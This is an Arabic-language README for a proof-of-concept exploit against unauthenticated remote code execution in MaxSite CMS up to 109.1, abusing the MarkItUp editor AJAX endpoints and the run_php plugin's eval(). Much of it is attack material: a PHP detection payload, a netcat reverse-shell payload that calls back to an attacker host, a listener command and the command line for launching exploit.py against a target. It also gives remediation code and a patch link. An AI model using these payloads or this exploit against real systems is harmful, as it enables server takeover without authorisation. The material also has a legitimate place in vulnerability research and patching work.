
إثبات مفهوم لاستغلال تنفيذ الأوامر عن بُعد دون مصادقة في MaxSite CMS <= 109.1 عبر نقاط نهاية AJAX لمحرر MarkItUp، مع حمولات كشف وقشرة عكسية.
ثغرة تنفيذ التعليمات البرمجية عن بُعد غير المصادق عليه (RCE) في MaxSite CMS ≤ 109.1.
ينبع الخلل من ضعف فحوصات التفويض في نقاط نهاية AJAX الخاصة بإضافة محرر MarkItUp، بالإضافة إلى التنفيذ غير الآمن لتعليمات PHP البرمجية المقدمة من المستخدم بواسطة إضافة run_php.
تؤثر الثغرة على الملفات التالية في إضافة محرر MarkItUp:
preview-ajax.phpautosave-post-ajax.phpهذه النقاط النهائية:
run_php[php]...[/php] المختصرة باستخدام eval()يمكن للمهاجم إرسال طلب POST مُصمم إلى مسار /ajax/ يحتوي على مسار داخلي مشفر بـ Base64 وحمولة PHP خبيثة عبر معامل data، مما يؤدي إلى:
graph TD
A["Attacker"] -->|"Malicious POST Request"| B["AJAX Endpoint"]
B -->|"Referer Spoofing"| C["preview-ajax.php"]
C -->|"Unsanitized Input"| D["run_php Plugin"]
D -->|"eval() Execution"| E["Arbitrary PHP Execution"]
E -->|"Command Execution"| F["Compromised Server"]run_php (افتراضي شائع)eval()يتم تضمين برنامج إثبات المفهوم بلغة Python 3 (exploit.py).
[php]echo 'RCE CONFIRMED - ' . phpversion();[/php]
[php]system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP ATTACKER_PORT >/tmp/f');[/php]
nc -lvnp 9001
python3 exploit.py http://target.com --lhost 10.10.14.22 --lport 9001
run_php إذا لم تكن مطلوبةأضف فحوصات المصادقة إلى الملفات المعرضة للخطر:
if (!is_login()) {
die('Access denied');
}
mso_checkreferer();
التزام التصحيح https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3
إدخال الثغرة https://vuldb.com/?id.348281
يتم توفير هذا المشروع من أجل:
⚠️ لا تستخدم ضد الأنظمة دون إذن صريح.
لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار.
محمد إدريس بني عامر الأردن 🇯🇴 باحث أمني
banyamer_security — Silent Hunter • Shadow Presence
مارس 2026